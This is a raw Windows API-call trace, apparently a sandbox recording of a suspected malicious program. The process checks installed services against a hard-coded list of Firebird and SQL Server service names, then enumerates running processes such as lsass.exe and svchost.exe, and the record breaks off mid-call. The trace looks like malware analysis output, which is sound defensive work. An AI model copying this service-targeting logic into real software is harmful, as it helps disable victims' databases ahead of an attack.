[0273.300] lstrlenW (lpString="CryptSvc") returned 8 [0273.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0273.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0273.300] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0273.300] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0273.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0273.300] lstrlenW (lpString="DcomLaunch") returned 10 [0273.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.300] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0273.300] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0273.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0273.300] lstrlenW (lpString="DeviceAssociationService") returned 24 [0273.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0273.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0273.301] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0273.301] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0273.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0273.301] lstrlenW (lpString="Dhcp") returned 4 [0273.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0273.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0273.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0273.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0273.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0273.301] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0273.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0273.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0273.301] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0273.301] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0273.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0273.301] lstrlenW (lpString="Dnscache") returned 8 [0273.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0273.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0273.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0273.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0273.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0273.301] lstrlenW (lpString="DPS") returned 3 [0273.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0273.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0273.302] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0273.302] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0273.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0273.302] lstrlenW (lpString="DusmSvc") returned 7 [0273.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0273.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0273.302] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0273.302] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0273.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0273.302] lstrlenW (lpString="EventLog") returned 8 [0273.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0273.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0273.302] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0273.302] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0273.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0273.302] lstrlenW (lpString="EventSystem") returned 11 [0273.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0273.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0273.302] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0273.302] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0273.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0273.303] lstrlenW (lpString="FontCache") returned 9 [0273.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0273.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0273.303] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0273.303] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0273.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0273.303] lstrlenW (lpString="gpsvc") returned 5 [0273.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0273.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0273.430] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0273.430] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0273.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0273.430] lstrlenW (lpString="iphlpsvc") returned 8 [0273.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.431] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0273.431] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0273.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0273.431] lstrlenW (lpString="KeyIso") returned 6 [0273.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0273.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0273.431] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0273.431] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0273.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0273.431] lstrlenW (lpString="LanmanServer") returned 12 [0273.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0273.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0273.431] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0273.431] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0273.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0273.431] lstrlenW (lpString="LanmanWorkstation") returned 17 [0273.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.431] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0273.431] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0273.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0273.432] lstrlenW (lpString="lfsvc") returned 5 [0273.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0273.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0273.432] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0273.432] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0273.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0273.432] lstrlenW (lpString="lmhosts") returned 7 [0273.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0273.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0273.432] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0273.432] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0273.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0273.432] lstrlenW (lpString="LSM") returned 3 [0273.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0273.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0273.432] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0273.432] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0273.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0273.432] lstrlenW (lpString="MpsSvc") returned 6 [0273.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0273.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0273.433] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0273.433] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0273.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0273.433] lstrlenW (lpString="NcbService") returned 10 [0273.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0273.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0273.433] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0273.433] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0273.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0273.433] lstrlenW (lpString="netprofm") returned 8 [0273.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0273.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0273.433] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0273.433] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0273.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0273.433] lstrlenW (lpString="NgcSvc") returned 6 [0273.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0273.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0273.433] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0273.433] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0273.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0273.433] lstrlenW (lpString="NlaSvc") returned 6 [0273.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0273.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0273.434] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0273.434] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0273.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0273.434] lstrlenW (lpString="nsi") returned 3 [0273.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0273.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0273.434] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0273.434] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0273.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0273.434] lstrlenW (lpString="PcaSvc") returned 6 [0273.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0273.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0273.434] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0273.434] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0273.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0273.434] lstrlenW (lpString="PlugPlay") returned 8 [0273.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0273.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0273.434] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0273.434] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0273.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0273.435] lstrlenW (lpString="Power") returned 5 [0273.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0273.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0273.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0273.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0273.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0273.435] lstrlenW (lpString="ProfSvc") returned 7 [0273.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0273.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0273.435] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0273.435] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0273.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0273.435] lstrlenW (lpString="RpcEptMapper") returned 12 [0273.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.435] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0273.435] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0273.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0273.435] lstrlenW (lpString="RpcSs") returned 5 [0273.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0273.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0273.435] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0273.435] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0273.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0273.435] lstrlenW (lpString="SamSs") returned 5 [0273.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0273.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0273.436] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0273.436] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0273.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0273.436] lstrlenW (lpString="Schedule") returned 8 [0273.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0273.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0273.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0273.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0273.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0273.436] lstrlenW (lpString="SecurityHealthService") returned 21 [0273.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0273.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0273.436] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0273.436] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0273.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0273.437] lstrlenW (lpString="SENS") returned 4 [0273.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0273.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0273.437] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0273.437] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0273.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0273.437] lstrlenW (lpString="ShellHWDetection") returned 16 [0273.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.437] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0273.437] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0273.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0273.438] lstrlenW (lpString="Spooler") returned 7 [0273.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0273.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0273.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0273.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0273.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0273.438] lstrlenW (lpString="StateRepository") returned 15 [0273.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0273.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0273.438] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0273.438] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0273.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0273.438] lstrlenW (lpString="SysMain") returned 7 [0273.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0273.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0273.438] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0273.438] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0273.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0273.438] lstrlenW (lpString="SystemEventsBroker") returned 18 [0273.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0273.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0273.439] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0273.439] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0273.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0273.439] lstrlenW (lpString="Themes") returned 6 [0273.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0273.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0273.439] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0273.439] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0273.439] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0273.439] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4bc [0273.445] Process32FirstW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.446] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.448] lstrlenW (lpString="System") returned 6 [0273.448] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.449] lstrlenW (lpString="smss.exe") returned 8 [0273.449] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.451] lstrlenW (lpString="csrss.exe") returned 9 [0273.451] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.452] lstrlenW (lpString="wininit.exe") returned 11 [0273.452] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.454] lstrlenW (lpString="csrss.exe") returned 9 [0273.454] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.455] lstrlenW (lpString="winlogon.exe") returned 12 [0273.455] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.456] lstrlenW (lpString="services.exe") returned 12 [0273.456] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.458] lstrlenW (lpString="lsass.exe") returned 9 [0273.458] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0273.461] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0273.461] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0273.462] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0273.463] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.468] lstrlenW (lpString="svchost.exe") returned 11 [0273.469] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.470] lstrlenW (lpString="svchost.exe") returned 11 [0273.470] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.471] lstrlenW (lpString="dwm.exe") returned 7 [0273.471] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.575] lstrlenW (lpString="svchost.exe") returned 11 [0273.575] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.577] lstrlenW (lpString="svchost.exe") returned 11 [0273.577] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.578] lstrlenW (lpString="svchost.exe") returned 11 [0273.579] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.580] lstrlenW (lpString="svchost.exe") returned 11 [0273.580] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.581] lstrlenW (lpString="svchost.exe") returned 11 [0273.581] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: 